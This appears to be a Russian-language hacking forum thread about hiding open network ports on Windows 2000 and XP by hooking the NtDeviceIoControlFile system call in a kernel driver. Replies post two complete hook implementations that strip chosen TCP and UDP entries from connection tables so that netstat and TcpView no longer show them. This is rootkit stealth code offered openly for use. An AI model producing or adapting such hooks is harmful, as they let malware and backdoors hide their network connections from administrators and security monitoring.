Всем привет. Вот прочитал статью про то как стать невидимым в WinNT. Решил попробовать кое-что реализовать. Точнее - скрытие портов. Для WinXP не составило особого труда это сделать. То есть при запуске netstat порт отлично скрывается. Нашёл утилиту TcpView, насколько я знаю, написана она с использованием исходного кода netstat. При запуске консольной версии этой утилиты - порты также успешно скрываются. Но при запуске версии утилиты с GUI, скрываемый порт из списка не изчезает. (Список обновляется каждую секунду) Может кто-нибудь знает почему? Очень странно, так как наличие GUI вроде ничего поменять не должно. Основной вопрос связан со скрытием портов в Win2k. Перехват функции осуществляется успешно. Приведу код скрытия: Code (Text): if ( DeviceIoControlCode != 0x00210012) return Result; DPRINT( "ports enumerated\n" ); if ( sizeof(TDI_CONNECTION_IN) == InBufferLength ) { InBuf = (TDI_CONNECTION_IN*)InBuffer; if ( InBuf->RemoteAddressLength == 3 || InBuf->RemoteAddressLength == 4 ) { OutBuf = (TDI_CONNECTION_OUT*)OutBuffer; for ( j = 0; j < HIDEPORT_MAX_HIDE_PORTS; j++ ) { if ( ntohs(OutBuf->ReceivedTsdus) == iPorts[j] ) { DPRINT( "match port!\n" ); memset(OutBuf,0,OutBufferLength); OutBufferLength = 0; pIoStatusBlock->Information = 0; return STATUS_INVALID_ADDRESS; } } } } Судя по дебаг информации нужный порт находится, но обнуление данных и возврат STATUS_INVALID_ADDRESS ничего не дают. То есть порт не скрывается. Может я неправильно удаляю OutBuffer? Или не то возвращаю?
В Windows XP и старше для получения информации об открытых портах используется не один IOCTL (как в Windows 2000), а три. Смотри netstat -? и смотри хелп в MSDN по структурам MIB_TCPROW, MIB_TCPEXROW.
Ну в Windows XP всё прекрасно скрывается. Гораздо более интересует Windows 2000... То есть, как нужно изменить выходные данные функции NtDeviceIoControlFile чтобы скрывался определённый порт?
??? Ты же вроде написал в первом посте, что у тебя все скрывается? Вообще надо модифицировать список, затерев в нем удаляемое соединение. Обнуление результат дает только на Win2000, да и то, насколько помню, не со всеми мониторами соединений
Так вот мне и нужно скрыть порт в Win2000. Там возвращается не список, а структура в выходном буфере. В статье написано, что выходной буфер надо затереть и вернуть определённый статус. При проделывании всего этого порт всё-равно виден.
Список соединений возвращается в массиве структур. В простейшем варианте это массив MIB_TCPROW. Ставишь свою completion routine и в ней из этого массива удаляешь элемент со своим соединением. netstat и tcpview больше ничего не видят.
Я привёл в самом первом посте пример удаления записи о порте. Что там неверно? Ведь всё сделано как описано в статье. Я удалил элемент...
у jiurl'a так Code (Text): NTSTATUS NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { NTSTATUS rc; rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) ( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength ); if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX) { return(rc); } TCP_REQUEST_QUERY_INFORMATION_EX req; TCPAddrEntry* TcpTable; TCPAddrExEntry* TcpExTable; ULONG numconn; LONG i; DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX\n"); if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d\n", ntohs(TcpTable[i].tae_ConnLocalPort)); memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); numconn--; i--; } } IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); return(rc); } req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); TcpExTable = (TCPAddrExEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d\n",ntohs(TcpTable[i].tae_ConnLocalPort)); memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); numconn--; i--; } } IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); return(rc); } } return(rc); }
а вот это не подойдет? Code (Text): typedef struct _GENERIC_RECORD { ULONG entry1; //state on tcp, local addr on udp ULONG entry2; //local addr on tcp, local port on udp ULONG entry3; //local port on tcp ULONG entry4; //remote addr on tcp ULONG entry5; //remote port on tcp } GENERIC_RECORD, *PGENERIC_RECORD; NTSTATUS NTAPI NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength ); if (!NT_SUCCESS(ntRes)) { return ntRes; } if (IoControlCode != 0x120003) { return ntRes; } POBJECT_NAME_INFORMATION ObjectName; char ObjectNameBuf[512]; ULONG ReturnLen; ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf; ObjectName->Name.MaximumLength = 500; ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen ); char ObjectNameMBS[261]; wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS)); if (stricmp(ObjectNameMBS, "\\Device\\Tcp") != 0) { return ntRes; } PBYTE input = (PBYTE)InputBuffer; if (InputBufferLength < 17) { return ntRes; } bool tcp = false; /* if its tcp, then the first item is state, which we need to ignore */ ULONG recordSize = 0; if (input[0] == 0x00) { tcp = true; recordSize = sizeof(MIB_TCPROW); //tcp if (input[16] == 0x02) { //extended recordSize += 4; } } else { //udp recordSize = sizeof(MIB_UDPROW); //extended if (input[16] == 0x02) { recordSize += 4; } } ULONG entryCount = IoStatusBlock->Information / recordSize; bool done; PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer; ULONG i; ULONG ip; USHORT port; i = 0; while (i < entryCount) { ip = tcp ? data->entry2 : data->entry1; port = (USHORT)(tcp ? data->entry3 : data->entry2); // i use a linked list of records to hide, // just replace this with your comparison if ( matchesConMask( ip, port, g_ConList ) ) { //local stuff hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize ); IoStatusBlock->Information -= recordSize; entryCount--; } else // i use a linked list of records to hide, // just replace this with your comparison if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) ) { //remote stuff hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize ); IoStatusBlock->Information -= recordSize; entryCount--; } else { data = (PGENERIC_RECORD)(((char *)data) + recordSize); i++; } } return ntRes; }